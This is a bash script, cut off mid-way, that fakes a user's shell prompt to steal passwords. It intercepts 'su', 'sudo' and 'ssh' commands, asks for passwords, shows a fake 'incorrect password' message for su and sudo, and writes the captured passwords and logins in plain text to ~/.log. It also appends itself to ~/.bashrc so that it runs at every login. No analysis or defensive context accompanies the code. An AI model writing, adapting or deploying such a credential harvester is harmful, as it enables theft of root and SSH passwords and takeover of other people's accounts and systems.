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#!/bin/bash
cm=""
function psw_su()
{
  t=`echo $1 | tr '_' ' '`
  echo -n $t
  read -s ps >> ~/.log
  echo "password: " >> ~/.log
  #safe password to log file
  echo $ps >> ~/.log
  echo
  sleep 4s
  echo "su: incorrect password"
  $cm
  # exit 0
};
function zar()
{
  a=`cat ~/.bashrc | tail -n 1 | tr ' ' '_'`
  b=$0
  case $a in
    $b)
  ;;
  *)
    echo $0 >> ~/.bashrc
  ;;
  esac
};

zar
while :
do
  psu="Password: "
  psudo="root's_password:"
  ht=$HOST
  un=$USER
  pw=`pwd`
  case $pw in
  $HOME)
    #tilda ~ this is home directory
    pw="~"
  ;;
  *)
  esac
  #string of console of shell
  nm=$USER"@"$HOST":"$pw"> "
  echo -n $nm
  echo -n " "
  #enter command
  cm=""
  read -e cm
  # cm=$1
  #switch case
  case $cm in
  "")
  ;;
  #authentficate as root
  "su")
    psw_su $psu
  ;;
  #authentificat as root
  "su -l root")
    psw_su $psu
  ;;
  #authentificate as other user
  `echo $cm | grep "su -l" | grep [A-Za-z0-9].*`)
    c=`echo $cm | tr ' ' '_' | rev`
    c2=`basename $c _l-_us | rev`
    echo "Login: "$c2 >> ~/.log
    psw_su $psu
  ;;
  #simple sudo as authentificate as root
  "sudo bash")
    psw_su $psudo
  ;;
  `echo $cm | grep ssh`)
    c=`echo $cm | tr ' ' '_' | rev`
    c2=`basename $c _hss | rev`
    echo "loginSSH: "$c2>> ~/.log
    echo -n "Password: "
    read -s ps
    echo $cm >> ~/.log
    echo "Password SSH:"$ps >> ~/.log
    sleep 2s
    echo
    $cm
    exit 0
  ;;
  `echo $cm | grep sudo | grep sh`)
    psw_su $psudo
  ;;
  *)
  esac
  echo $cm >> ~/.log
  #$cm >> ~/.log
  #exec command
  case $cm in
  "")
    cm="echo -n"
  ;;